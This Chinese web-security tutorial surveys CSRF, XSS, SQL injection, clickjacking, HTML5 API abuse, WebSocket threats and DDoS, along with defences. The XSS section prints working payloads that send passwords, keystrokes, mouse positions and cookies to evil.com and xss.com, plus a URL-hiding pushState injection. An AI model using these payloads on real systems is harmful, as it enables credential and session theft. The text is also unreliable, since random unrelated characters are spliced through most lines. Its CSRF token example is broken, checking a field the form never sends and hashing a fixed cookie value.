Web安全
- 機(jī)密性,比如用戶的隱私被竊取劈猿,帳號被盜拙吉,常見的方式是木馬。
- 完整性揪荣,比如數(shù)據(jù)的完整筷黔,常見的方式是
XSS跨站腳本攻擊
和csrf跨站請求偽造
。 - 可用性仗颈,比如我們的網(wǎng)絡(luò)服務(wù)是否可用佛舱,常用的攻擊方式是
dos
和ddos
,拒絕服務(wù)和分布式拒絕服務(wù)攻擊挨决。
CSRF
CSRF(Cross-site request forgery)
请祖,中文名稱:跨站請求偽造
攻擊者盜用了你的身份,以你的名義發(fā)送惡意請求脖祈。
想要CSRF獲取用戶的信息肆捕,一般需要XSS注入成功
攻擊原理
CSRF攻擊是源于 WEB的隱式身份驗證機(jī)制!WEB的身份驗證機(jī)制雖然可以保證一個請求是來自于某個用戶的瀏覽器盖高,但卻無法保證該請求是用戶批準(zhǔn)發(fā)送的慎陵!
要完成一次CSRF攻擊,受害者必須依次完成兩個步驟:
- 登錄受信任網(wǎng)站A喻奥,并在本地生成Cookie席纽。
- 在不登出A的情況下,訪問危險網(wǎng)站B映凳。
CSRF攻擊有效經(jīng)常因為如下原因
- 你不能保證你登錄了一個網(wǎng)站后胆筒,不再打開一個tab頁面并訪問另外的網(wǎng)站。
- 你不能保證你關(guān)閉瀏覽器了后,你本地的Cookie立刻過期仆救,你上次的會話已經(jīng)結(jié)束抒和。(事實上,關(guān)閉瀏覽器不能結(jié)束一個會話彤蔽,但大多數(shù)人都會錯誤的認(rèn)為關(guān)閉瀏覽器就等于退出登錄/結(jié)束會話了......)
- 上圖中所謂的攻擊網(wǎng)站摧莽,可能是一個存在其他漏洞的可信任的經(jīng)常被人訪問的網(wǎng)站。
CSRF防御
不使用GET
更新資源
服務(wù)端對客戶端請求方法進(jìn)行驗證
在客戶端頁面增加偽隨機(jī)數(shù)(可以杜絕99%CSRF攻擊, 除非用戶Cookie被XSS漏洞盜取)
<?php
// 服務(wù)端
// 構(gòu)造加密的Cookie信息
$value = “DefenseSCRF”;
setcookie(”cookie”, $value, time()+3600);
?>
<?php
// 客戶端
$hash = md5($_COOKIE['cookie']);
?>
<form method=”POST” action=”transfer.php”>
<input type=”text” name=”toBankId”>
<input type=”text” name=”money”>
<input type=”hidden” name=”hash” value=”<?=$hash;?>”>
<input type=”submit” name=”submit” value=”Submit”>
</form>
<?php
// 在服務(wù)器端進(jìn)行Hash值驗證
if(isset($_POST['check'])) {
$hash = md5($_COOKIE['cookie']);
if($_POST['check'] == $hash) {
doJob();
} else {
//...
}
} else {
//...
}
?>
增加驗證碼
One-Time Tokens(不同的表單包含一個不同的偽隨機(jī)值通常與用戶身份有關(guān)不好猜測, 注意并行性兼容)
XSS
Cross-site scripting
, 中文名稱: 跨站腳本分析
注入方式
javascript 注入
常用js代碼注入
src="javascript:alert(‘xss’)顿痪;"
js注入成功, 利用location.href
注入拿到cookies或密碼
對于瀏覽器可以設(shè)置httpOnly
來降低從用戶端拿到cookies
進(jìn)行攻擊的可能性
location.镊辕;
js注入成功,從文本字段中竊取密碼
function stealpw(){
var pw = document.getElementById("password").value;
document.images[0].src="http://evil.com/imgs/stealpw?pw=" + pw;
}
document.getElementById("button").onclick = stealpw;
js注入成功, 鍵盤記錄工具(key logger)竊取鍵盤事件
function keylogger(e){
document.images[0].src = "http://evil.com/logger?key="
+ e.keyCode;
};
document.body.addEventListener("keyup", keylogger, false);
使用鼠標(biāo)嗅探器竊取鍵盤事件
function sniffer(e){
document.images[0].src= "http://evil.com/imgs/sniffer?x="
+ e.clientX + "&y=" + e.clientY;
};
document.body.addEventListener("mouseup", sniffer, false);
js注入成功, 插入錯誤信息
// 警告消息
...
<style type="text/css"> #warning { color: red } </style>
...
<div id="warning">The links in this page may refer to
potentially malicious Web pages, so be careful. </div>
...
// 消除警告
var e = document.getElementById("warning");
e.style.color= "white";
js注入成功, img.href
隱藏并注入
var img = document.createElement('img');
img.src='http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);
上傳文件注入
- js注入文件名
- js注入
exif
信息
鏈接注入
普通鏈接注入
http://www.baidu.com/“onclick=alert('xss') title="xss"
"
'
被轉(zhuǎn)意但是依然注入
http://www.baidu.com/#"onclick=alert(this.name) name=xss ref=xss
Ajax JSON注入
采用普通注入
$('div:first').html('<script>alert("xss")</script>');
采用Unicode碼
注入
$('div:first').html('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e');
防范XSS注入
- 添加一個輸入值檢查
- 黑名單: 在這種方法中,黑名單中的所有字符都會從輸入中過濾掉蚁袭。黑名單所面臨的最大的挑戰(zhàn)就是要確保所有危險的字符都包含在名單中征懈。因為要預(yù)測到所有可能的輸入組合是不可能的,所以黑名單經(jīng)常不能實現(xiàn)正確的驗證揩悄。
- 白名單: 這種替代方法列出所有允許的字符并從輸入中移除所有其它的字符卖哎。白名單所面臨的最大的挑戰(zhàn)就是在保持列表盡可能簡短的同時,仍然能夠提供足夠的靈活性删性,允許 Web 應(yīng)用程序所需的輸入類型亏娜。
人們通常認(rèn)為白名單是更加安全的選擇。因此蹬挺,推薦您使用白名單來清除具有潛在危險性的輸入维贺。
對發(fā)送給瀏覽器并在其上顯示的字符串中的特殊字符(比如說把小于號 (<) 換成 "<")進(jìn)行轉(zhuǎn)義是增強安全性的另一種方法。
- 使用漏洞檢查工具
- 不要動態(tài)地生成和執(zhí)行代碼, 禁止使用
eval()
- 在集成不可信內(nèi)容時使用
<iframe>
, 利用同源策略使攻擊者不容易訪問整個DOM
樹 - 保障 JSON 的使用安全(使用正則表達(dá)式進(jìn)行檢查 或者 使用 JSON 解析器對 JSON 進(jìn)行解析巴帮。)
// 使用正則表達(dá)式檢查 JSON 字符
var my_JSON_object = !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
text.replace(/"(\\.|[^"\\])*"/g, ' '))) &&
eval('(' + text + ')');
SQL注入
不要使用拼接字符串的方式進(jìn)行CRUD
, 進(jìn)行數(shù)據(jù)庫參數(shù)化查詢, 頁面參數(shù)傳值只允許a-z0-9
,對傳入?yún)?shù)進(jìn)行校驗, 本地數(shù)據(jù)庫不要存儲重要數(shù)據(jù)
彩虹表攻擊
不要存儲密碼原文, 密碼加鹽(鹽為偽隨機(jī)字符串), 二次hash 可以基本上杜絕彩虹表攻擊
中間人攻擊
無證書認(rèn)證的互聯(lián)網(wǎng)訪問, 由于是無加密透明的, 所以經(jīng)過的路由都可以查看路由流經(jīng)數(shù)據(jù), 無法防范中間人攻擊溯泣。
TLS中間人攻擊(TLS mim)
有什么危害?你與服務(wù)器的通信被第三方解密晰韵、查看发乔、修改。
如何防范
- 啟用
HTTPS
瀏覽網(wǎng)頁 - 必須對認(rèn)證過程的傳輸者/認(rèn)證過程的本身真實性進(jìn)行認(rèn)證雪猪。
- 用戶根證書靠譜, 根證書必須是合格的證書頒發(fā)機(jī)構(gòu)頒發(fā)(證書有危險時瀏覽器會警告用戶)
劫持攻擊
點擊劫持
被攻擊的頁面作為iframe
,用Mask
的方式設(shè)置為透明放在上層起愈,惡意代碼偷偷地放在后面的頁面中只恨,使得一個頁面看起來似乎是安全的,然后誘騙用戶點擊網(wǎng)頁上的內(nèi)容抬虽,達(dá)到竊取用戶信息或者劫持用戶操作的目的官觅。
拖放的欺騙劫持
在同源策略里,一個域的Cookie
只能被本域所訪問阐污,但是拖放操作是不受同源策略限制的休涤,這樣利用拖放操作、XSS
和其他技巧,可以構(gòu)造跨域合法請求功氨,劫持Cookie
序苏。欺騙用戶進(jìn)行拖放行為,就可以把用戶某個域的信息發(fā)送到另外一個域里捷凄。
如何防范
- 方法1:
X-Frame-Options
- 方法2:
if (top !==window) top.location = window.location.href;
(攻擊者可以使用204轉(zhuǎn)向或者禁用Javascript的方式來繞過(例如iframe沙箱)忱详。)
HTML5 API攻擊
registerProtocolHandler:信息泄漏
HTML5
允許某些協(xié)議和schema
注冊為新的特性。
例如下面的語句可以注冊一個email handler
跺涤。
navigator.registerProtocolHandler(“mailto”,“http://www.f.com/?uri=%s", “Evil Mail");
它會將一個惡意網(wǎng)站處理器關(guān)聯(lián)到mailto
這個協(xié)議上匈睁,所以它在某些情況下的濫用會導(dǎo)致用戶信息泄漏。
文件API:竊取文件
HTML5
另外一些API從安全角度來看很有意思桶错,它們還能混合起來使用航唆。
例如文件API允許瀏覽器訪問本地文件,攻擊者可以將它與點擊劫持和其他攻擊混合起來獲得用戶本地的文件院刁。比如騙取你從本地拖放文件到頁面里佛点,這種方法在劫持攻擊一文中有較詳細(xì)的闡述。
歷史API:隱藏XSS URL
利用HTML5
歷史API的pushState
黎比,可以隱藏瀏覽器地址欄的攻擊URL
超营。例如我在瀏覽器地址欄輸入
http://test.baidu.com/?text=</div><script>history.pushState({},'',location.href.split("?").shift());document.write(1)</script>
這個地址,用戶將會僅僅只看到http://test.baidu.com/
阅虫。
這個問題和現(xiàn)在流行的短網(wǎng)址技術(shù)結(jié)合起來演闭,具有更大的隱蔽性。想象一下我們在微博上看到一個短網(wǎng)址颓帝,不會有任何懷疑就會點擊這個地址查看內(nèi)容米碰,而最后看到的地址也是相當(dāng)正常的,但是在這個過程中用戶的信息和資料就不知不覺被盜取了购城。
Web Notifications:盜取數(shù)據(jù)
Web Notifications
讓我們在瀏覽器中能夠接收推送的消息通知吕座,但是它有可能會被攻擊者利用來構(gòu)造虛假信息,騙取用戶數(shù)據(jù)瘪板。
Web Socket 攻擊
攻擊者有可能利用webSocket
連接, 執(zhí)行服務(wù)器端口掃描程序, 如果發(fā)現(xiàn)漏洞, 看可以建立隧道, 這樣瀏覽器就編程一個后門通道
Web Socket
會帶來的威脅包括:
- 成為后門
- 端口掃描
- 僵尸網(wǎng)絡(luò)(一到多的連接)
- 構(gòu)造基于
WebSocket
的嗅探器
防范手段
嚴(yán)格限制WebSocket
的權(quán)限, 并注意內(nèi)網(wǎng)端口
DDOS攻擊
DDOS攻擊網(wǎng)站常見弱點(寫數(shù)據(jù)庫吴趴,聯(lián)表查詢,緩存溢出)
- 登錄認(rèn)證
- 評論
- 用戶動態(tài)
- ajax api
- ...
防范手段
- 拼帶寬 壕行為
- 流量清洗&封IP 這么做的前提是攻擊包至少要到你的機(jī)房侮攀。而機(jī)房自保的措施導(dǎo)致了數(shù)據(jù)包根本到不了機(jī)房锣枝,無解
- CDN服務(wù) 保住靜態(tài)化主頁可以訪問